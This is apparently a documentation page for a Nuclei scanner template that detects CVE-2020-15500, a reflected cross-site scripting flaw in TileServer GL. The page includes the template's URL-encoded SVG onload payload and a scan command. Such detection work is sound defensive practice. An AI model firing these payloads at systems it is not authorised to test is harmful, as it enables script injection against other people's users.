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TileServer GL <=3.0.0 - Cross-Site Scripting

ID: CVE-2020-15500

Severity: medium

Author: Akash.C

Tags: cve,cve2020,xss,tileserver,packetstorm

Description

Section titled “Description”

TileServer GL through 3.0.0 is vulnerable to reflected cross-site scripting via server.js because the content of the key GET parameter is reflected unsanitized in an HTTP response for the application’s main page.

YAML Source

Section titled “YAML Source”
id: CVE-2020-15500


info:
  name: TileServer GL <=3.0.0 - Cross-Site Scripting
  author: Akash.C
  severity: medium
  description: TileServer GL through 3.0.0 is vulnerable to reflected cross-site scripting via server.js  because the content of the key GET parameter is reflected unsanitized in an HTTP response for the application's main page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade TileServer GL to a version higher than 3.0.0 or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/maptiler/tileserver-gl/issues/461
    - http://packetstormsecurity.com/files/162193/Tileserver-gl-3.0.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15500
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-15500
    cwe-id: CWE-79
    epss-score: 0.00382
    epss-percentile: 0.72931
    cpe: cpe:2.3:a:tileserver:tileservergl:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tileserver
    product: tileservergl
  tags: cve,cve2020,xss,tileserver,packetstorm


http:
  - method: GET
    path:
      - '{{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"


      - type: word
        part: body
        words:
          - "'>\"<svg/onload=confirm('xss')>"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b94b40f421a612fc55ec5084628f9b547b63ff65dbb6e70422565229b86c716002206d33cc8e213963c818b8782c0c16179de7dbc5a856147f4c18122f094aba0e46:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-15500.yaml"

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